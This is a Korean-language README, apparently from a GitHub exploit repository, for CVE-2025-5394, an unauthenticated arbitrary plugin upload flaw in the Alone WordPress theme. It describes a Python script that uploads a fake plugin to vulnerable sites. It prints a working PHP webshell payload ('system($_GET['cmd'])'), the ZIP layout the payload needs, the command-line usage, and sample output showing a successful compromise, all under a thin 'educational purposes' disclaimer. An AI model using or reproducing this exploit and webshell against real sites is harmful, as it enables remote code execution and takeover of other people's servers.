🚨 CVE-2025-5394 - Alone 테마에서의 인증되지 않은 임의 플러그인 업로드

📌 영향을 받는 제품:

Alone – 자선 다목적 비영리 WordPress 테마 버전: <= 7.8.3 CVE: CVE-2025-5394 CVSS 점수: 9.8 (심각)

🔥 취약점 요약:

Alone WordPress 테마는 alone_import_pack_install_plugin() 함수에서 누락된 기능 검사로 인해 임의 파일 업로드에 취약합니다. 이 결함으로 인해 인증되지 않은 공격자가 원격 위치에서 ZIP 파일(플러그인으로 위장)을 업로드하여 원격 코드 실행을 달성할 수 있습니다.

⚙️ 익스플로잇 스크립트 (Python)

이 저장소에는 CVE-2025-5394의 익스플로잇을 자동화하는 Python 스크립트가 포함되어 있습니다. 스크립트는 취약한 AJAX 액션을 트리거하고 가짜 플러그인(웹쉘 포함)을 WordPress 서버에 직접 업로드합니다.

📁 웹쉘 요구 사항:

업로드된 ZIP 파일은 다음 구조를 따라야 합니다:

shell_plugin.zip
└── shell_plugin
    └── shell_plugin.php

여기서:

shell_plugin은 플러그인 디렉터리입니다.
shell_plugin.php는 플러그인 헤더가 있는 유효한 PHP 플러그인 파일입니다.
PHP 파일은 웹쉘 페이로드를 포함할 수 있습니다.

shell_plugin.php 내부의 최소 플러그인 헤더 예시:

<?php
/*
Plugin Name: Webshell
*/
system($_GET['cmd']);
?>

🚀 사용 예시:

python3 CVE-2025-5394.py -help

usage: CVE-2025-5394.py [-h] -u URL -s SHELL

CVE-2025-5394 익스플로잇 | by Khaled Alenazi (Nxploited)

options:
  -h, --help         이 도움말 메시지를 표시하고 종료
  -u, --url URL      대상 WordPress 사이트 URL
  -s, --shell SHELL  웹쉘이 포함된 ZIP 파일 URL (.zip)

✅ 성공 출력:

python3 CVE-2025-5394.py -u http://target.com/wordpress/ -s http://target.com/shell_plugin.zip
[>] 대상         : http://target.com/wordpress
[>] 쉘 URL     : http://target.com/shell.php
[>] 플러그인 슬러그 : shell_plugin
[>] 익스플로잇 전송 중...
[+] 익스플로잇 성공
[+] 웹쉘 URL  : http://target.com/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php

⚠️ 면책 조항:

이 스크립트는 교육 및 연구 목적으로만 제공됩니다. 저자는 이 코드를 사용하여 수행된 어떠한 오용이나 불법 활동에 대해서도 책임지지 않습니다. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.

👨‍💻 제작:

Nxploited ( Khaled Alenazi ) GitHub: https://github.com/Nxploited

CVE-2025-5394

인기